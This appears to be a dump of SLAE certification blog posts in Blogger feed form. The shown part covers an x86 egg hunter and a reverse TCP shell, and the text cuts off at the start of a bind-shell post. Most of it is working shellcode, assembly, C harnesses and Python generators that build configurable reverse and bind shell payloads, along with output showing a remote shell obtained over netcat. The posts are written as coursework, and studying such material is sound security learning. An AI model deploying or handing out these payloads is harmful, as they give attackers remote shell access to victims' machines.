[3] <a href="https://gist.github.com/Sinkmanu/ae701fd14b2c2af1bf745268d896ca52">https://gist.github.com/Sinkmanu/ae701fd14b2c2af1bf745268d896ca52</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-65543758617836911222017-04-04T22:06:00.003+02:002017-04-04T22:06:36.264+02:00Assignment 3: Egg Hunter Shellcode (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise</h3>
<ul>
<li> Study about the egg hunter shellcode </li>
</ul>
<ul>
<li>Create a working demo of the Egghunter </li>
</ul>
<ul>
<li>Should be configurable for different payloads </li>
</ul>
<h3>
</h3>
<h3>
</h3>
<h3>
Solution</h3>
First, What is an EggHunter shellcode?<br />
A EggHunter is a little program that It is used to find a "pattern". In our case of study, our egghunter look for the <i>pattern</i> because after is the <i>shellcode</i>.
It is very important and useful when we don't know where is the
shellcode. So the egghunter program will look in all the memory position
to find the "EGG" and run the shellcode.<br />
Exists multiple ways to do an egghunter shellcode, but the best way is read all the memory position to find it.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
_start:
align_page:
or cx,0xfff ; page alignment
next_address:
inc ecx
push byte +0x43 ; sigaction(2)
pop eax
int 0x80
cmp al,0xf2 ; EFAULT?
jz align_page
mov eax, 0x50905090
mov edi, ecx
scasd
jnz next_address
scasd
jnz next_address
jmp edi
</code>
</pre>
<br />
It is a very good way to read all memory positions, this egghunter
shellcode was described in the Skape paper about the EggHunter. In this
program, every memory position is read using the syscall sigaction, when
the code EFAULT is returned means that the position is invalid and when
it happens we aling the page, but when the position is OK we check the
content of these position and compare with our EGG. If the egg is inside
the position, our shellcode is 8-bytes after. So we jump to the 8-byte
after position where we found the EGG.<br />
<br />
<h4>
Demo</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ nasm -f elf32 egg-hunter.nasm -o egg-hunter.o
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ld egg-hunter.o -o egg-hunter
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ objdump -d ./egg-hunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ cat shellcode.c
#include<stdio .h="">
#include<string .h="">
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] =
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egg_hunter;
ret();
}
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./shellcode
Egg hunter Length: 30
Shellcode Length: 94
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$
</string></stdio></code>
</pre>
<br />
<h4>
Configurable for different payloads</h4>
I made a simple script that it generate an egghunter shellcode with different payloads like exec, bind and reverse:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/env python
import sys
import struct
import os
import binascii
import socket
from optparse import OptionParser, OptionGroup
shellcode_l = {
'exec':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
'reverse':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68ADDRESS\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
'bind':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
}
def eggHunter(egg):
egghunter = "\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8%s\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7"%getEgg(egg)
return egghunter
def port2hex(port):
return struct.pack(">H", port)
def address2hex(address):
addr = binascii.hexlify(socket.inet_aton(address))
return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))
def getEgg(eggi):
egg = ""
for c in range(0, 8, 2):
egg += "\\x%s%s" % (eggi[c], eggi[c+1])
return egg
def nullBytes(cad):
check = [cad.encode('hex')[i:i+2] for i in range(0, len(cad.encode('hex')), 2)]
for i in check:
if (i == "00"):
print "[-] The payload contains null bytes :("
def reversePayload(egg, address, port):
port = port2hex(int(port))
nullBytes(port)
address = address2hex(address)
nullBytes(address)
shellcode = shellcode_l["reverse"]
shellcode_o = shellcode.replace("PORT", port).replace("ADDRESS", address)
sc = ""
for c in bytearray(shellcode_o):
sc += "\\x%02x" % c
skeleton(egg, sc)
def bindPayload(egg, port):
port = port2hex(int(port))
port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
nullBytes(port)
shellcode = shellcode_l["bind"]
shellcode_o = shellcode.replace("PORT", port)
sc = ""
for c in bytearray(shellcode_o):
sc += "\\x%02x" % c
skeleton(egg, sc)
def execPayload(egg):
shellcode = shellcode_l["exec"]
sc = ""
for c in bytearray(shellcode):
sc += "\\x%02x" % c
skeleton(egg, sc)
def skeleton(egg, shellcode):
shellcode_c = '#include<stdio .h="">\n\
#include<string .h="">\n\
#define EGG "%s"\n\
unsigned char egg_hunter[] = "%s";\n\
unsigned char code[] = \n\
EGG\n\
EGG\n\
"%s";\n\
main(){\n\
printf("Egg hunter Length: %%d\\n", strlen(egg_hunter));\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%(getEgg(egg),eggHunter(egg),shellcode)
print shellcode_c
def opciones():
parser = OptionParser("usage: %prog [options] \nExample: ./%prog -e 50905090 -p exec")
parser.add_option("-e", "--egghunter",
action="store", type="string", dest="egghunter", help="Egghunter pattern")
parser.add_option("-p", "--payload",
action="store", type="string", dest="payload", help="Payload (exec, bind, reverse)")
parser.add_option("-x", "--port",
action="store", type="string", dest="port", help="Port (bind or reverse payload)")
parser.add_option("-a", "--address",
action="store", type="string", dest="address", help="Address (reverse payload)")
(options, args) = parser.parse_args()
if (len(sys.argv) == 1):
parser.print_help()
elif (options.egghunter is not None) and (options.payload is not None):
if (options.payload == "exec"):
execPayload(options.egghunter)
elif (options.payload == "bind"):
if (options.port is not None):
bindPayload(options.egghunter, options.port)
else:
print "[-] Bindi shellcode needs a port"
elif (options.payload == "reverse"):
if (options.port is not None) and (options.address is not None):
reversePayload(options.egghunter, options.address, options.port)
else:
print "[-] Reverse shellcode needs port and address"
else:
print "[-] Payload not valid"
else:
print "[-] Need egghunter and payload"
if __name__ == "__main__":
opciones()
</string></stdio></code>
</pre>
<br />
Example:<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./egghunter.py -e 90509050 -p bind -x 4444
#include<stdio .h="">
#include<string .h="">
#define EGG "\x90\x50\x90\x50"
unsigned char egg_hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
unsigned char code[] =
EGG
EGG
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main(){
printf("Egg hunter Length: %d\n", strlen(egg_hunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
</string></stdio></code>
</pre>
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment3">https://github.com/Sinkmanu/SLAE/tree/master/Assignment3</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-79802949359826481252017-03-06T01:04:00.001+01:002017-03-06T01:04:30.203+01:00Assignment 2: Reverse TCP Shell (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise </h3>
<ul>
<li>Create a Shell_Reverse_TCP shellcode
<ul>
<li>Reverse connects to configured IP and Port</li>
<li>Execs Shell on successful connection</li>
</ul>
</li>
</ul>
<ul>
<li>IP and Port number should be easily configurable</li>
</ul>
<br />
<h3>
Solution</h3>
<br />
In the last assignment (#1) I created a <i>bind tcp shellcode</i>,
the socket was created as a server socket, in this assignment I need to
create a client socket. Now we will see how I did it. Like in the last
assignment, first, I create the client socket in C language.<br />
The methods involved on it:<br />
<br />
<ul>
<li>socket: Create an endpoint for communication and return a file descriptor </li>
<li>connect: Connect the socket to a port and address given.</li>
<li>dup2: Duplicate the file descriptor, used for set stdin, stdout and sterr to the new file descritor (returned from accept)</li>
<li>execve: Execute a program (our purpose /bin/sh) </li>
</ul>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[]){
// AF_INET = 2; SOCK_STREAM = 1
int fd = 0;
fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr;
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.64");
serv_addr.sin_port = htons(4444);
connect(fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
// redirect stdin, stdout, stderr
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
// run program
execve("/bin/sh", NULL, NULL);
}
</code>
</pre>
<br />
We compile, run and test it to check if It is working...<br />
<br />
Client:<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ gcc reverse-shell-tcp.c -o reverse-shell-tcp
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./reverse-shell-tcp
</code>
</pre>
<br />
Server:
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
iro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.64: inverse host lookup failed: Unknown host
connect to [192.168.1.64] from (UNKNOWN) [192.168.1.64] 36002
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
</code>
</pre>
<br />
After, I start to do same in assembly language. But before we need to know what are the numbers of the involved system calls.
<style>
table {
font-family: arial, sans-serif;
border-collapse: collapse;
width: 100%;
}
td, th {
border: 1px solid #dddddd;
text-align: left;
padding: 8px;
}
tr:nth-child(even) {
background-color: #dddddd;
}
</style>
<br />
<br />
<table style="border-collapse: collapse; font-family: "arial" , sans-serif; width: 100%;">
<tbody>
<tr style="background-color: #dddddd;">
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Method</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">System call</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Socket syscall</th>
<th style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Description</th>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">socket</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">1 (SYS_SOCKET)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Create a socket</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">connect</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x66 (102)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">3 (SYS_CONNECT)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Connect a socket</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">dup2</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0x3f (63)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">None</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Duplicate the file descriptors</td>
</tr>
<tr style="background-color: #dddddd;">
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">execve</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">0xb (11)</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">None</td>
<td style="border: 1px solid #dddddd; padding: 8px; text-align: left;">Execute a program</td>
</tr>
</tbody></table>
<br />
System syscalls: /usr/include/i386-linux-gnu/asm/unistd_32.h <br />
Socket syscalls: /usr/include/linux/net.h <br />
Socket protocols: /usr/include/i386-linux-gnu/bits/socket.h <br />
Socket domains: /usr/include/netinet/in.h <br />
Socket types: /usr/include/i386-linux-gnu/bits/socket_type.h<br />
<br />
<h4>
Create a socket</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int socket(int domain, int type, int protocol);
</code>
</pre>
<br />
The domain will be <b>IPv4 Internel Protocol</b>, the type (of communication) <b>SOCK_STREAM</b>
and the protocol. Basically, we push the parameters in the stack and
save the stack pointer in the ecx register, after we run the system
call.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
xor ebx, ebx
push eax ; protocol - 0
push 1 ; type - SOCK_STREAM,
push 2 ; dominio - AF_INET
mov ecx, esp ; arguments
mov bl, 1 ; sys_socket (create)
mov al, 102 ; systemcall
int 0x80
mov esi, eax ; save sockfd
</code>
</pre>
<br />
<h4>
Connect a socket</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
</code>
</pre>
<br />
Connect the socket to an address and port.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor ecx, ecx
push 0x4001a8c0 ; addr (192.168.1.64)
push word 0x5c11 ; Port 4444
push word 2 ; PF_INET
mov ecx, esp ; save *addr in ecx
push 0x10 ; length addrlen=16
push ecx ; &serv_addr
push esi ; sockfd
mov ecx, esp ; arguments
mov al, 102 ; systemcall
mov bl, 3 ; sys_connect
int 0x80
</code>
</pre>
<br />
After the connection is done, I duplicate the file descriptors to send all messages to the socket file descriptor.<br />
<br />
<h4>
Dup2</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int dup2(int oldfd, int newfd);
</code>
</pre>
<br />
Duplicate the file descriptor, I did a loop to
duplicate the three file descriptors (in, out and err) with the socket
file descriptor.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
mov ebx, eax ; oldfd = clientfd
xor ecx, ecx ; ecx = newfd
loop:
mov al, 0x3f ; syscall dup2
int 0x80
inc ecx
cmp ecx, 0x2
jle loop
</code>
</pre>
<h4>
</h4>
<h4>
Execve</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
int execve(const char *filename, char *const argv[],
char *const envp[]);
</code>
</pre>
<br />
Simple exevce shellcode /bin/sh that use the stack.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
</code>
</pre>
<br />
<br />
<h3>
Final program</h3>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
global _start
section .text
_start:
; int socket(int domain, int type, int protocol);
xor eax, eax
xor ebx, ebx
push eax ; protocol - 0
push 1 ; type - SOCK_STREAM,
push 2 ; dominio - AF_INET
mov ecx, esp ; arguments
mov bl, 1 ; sys_socket
mov al, 102 ; systemcall
int 0x80
mov esi, eax ; save sockfd
; connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
xor ecx, ecx
push 0x4001a8c0 ; addr (192.168.1.64)
push word 0x5c11 ; Port 4444
push word 2 ; PF_INET
mov ecx, esp ; save *addr in ecx
push 0x10 ; length addrlen=16
push ecx ; &serv_addr
push esi ; sockfd
mov ecx, esp ; arguments
mov al, 102 ; systemcall
mov bl, 3 ; sys_connect
int 0x80
; int dup2(int oldfd, int newfd);
mov ebx, esi ; oldfd = clientfd
xor ecx, ecx ; ecx = newfd
loop:
mov al, 0x3f ; syscall dup2
int 0x80
inc ecx
cmp ecx, 0x2
jle loop
; execve stack-sh
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
</code>
</pre>
It works...
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./compile.sh reverse-tcp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ objdump -d ./reverse-tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ vim shellcode.c
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ ./shellcode
Shellcode Length: 86
</code>
</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment2$ nc -lvp 4444
listening on [any] 4444 ...
192.168.1.64: inverse host lookup failed: Unknown host
connect to [192.168.1.64] from (UNKNOWN) [192.168.1.64] 36003
id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
</code>
</pre>
<br />
<h4>
Generate a reverse TCP shellcode with configurable address and port</h4>
<h4>
</h4>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> <code style="color: black; word-wrap: normal;">
#!/usr/bin/env python
import sys
import struct
import os
import binascii
import socket
def port2hex(port):
return struct.pack(">H", port)
def address2hex(address):
addr = binascii.hexlify(socket.inet_aton(address))
return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))
if __name__ == "__main__":
if sys.argv[2] is not None:
try:
port = port2hex(int(sys.argv[2]))
address = address2hex(sys.argv[1])
port_check = [port.encode('hex')[i:i+2] for i in range(0, len(port.encode('hex')), 2)]
address_check = [address.encode('hex')[i:i+2] for i in range(0, len(address.encode('hex')), 2)]
nullbytes = False
for i in port_check:
if (i == "00"):
print "[-] The port contains null bytes, use another port"
nullbytes = True
for i in address_check:
if (i == "00"):
print "[-] The address contains null bytes."
nullbytes = True
shellcode = "\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68%s\x66\x68%s\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"%(address,port)
sc = ""
for c in bytearray(shellcode):
sc += "\\x%02x" % c
shellcode_c = '#include<stdio .h="">\n\
#include<string .h="">\n\
unsigned char code[] = "%s";\n\
main(){\n\
printf("Shellcode Length: %%d\\n", strlen(code));\n\
int (*ret)() = (int(*)())code;\n\
ret();\n\
}'%sc
with open("shellcode_tmp.c", "w") as f:
f.write(shellcode_c)
os.system("gcc shellcode_tmp.c -fno-stack-protector -z execstack -o shellcode")
os.system("rm shellcode_tmp.c")
if nullbytes:
print "[+] Reverse TCP shellcode created with null bytes\n[+] Run ./shellcode"
else:
print "[+] Reverse TCP shellcode created\n[+] Run ./shellcode"
except ValueError:
print "[-] Port must be a number"
else:
print "usage: %prog <port> \nExample: ./%prog 192.168.1.64 4444"
</port></string></stdio></code>
</pre>
<br />
Source code: <a href="https://github.com/Sinkmanu/SLAE/tree/master/Assignment2">https://github.com/Sinkmanu/SLAE/tree/master/Assignment2</a>Sinkmanuhttp://www.blogger.com/profile/00006100943070321689noreply@blogger.com0tag:blogger.com,1999:blog-1075996046255539410.post-33160417645465255772017-02-25T12:49:00.001+01:002017-02-27T09:41:14.515+01:00Assignment 1: Bind TCP Shell (SLAE)This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:<br />
<a href="http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</a><br />
<br />
Student ID: SLAE-858<br />
<br />
<br />
<h3>
Exercise </h3>
<ul>
<li>Create a Shell_Bind_TCP shellcode<br />
<ul>
<li>Binds to a port</li>
<li>Execs Shell on incoming connection </li>
</ul>
</li>
</ul>
<ul>
<li> Port number should be easily configurable</li>
</ul>
<br />
<h3>
Solution</h3>
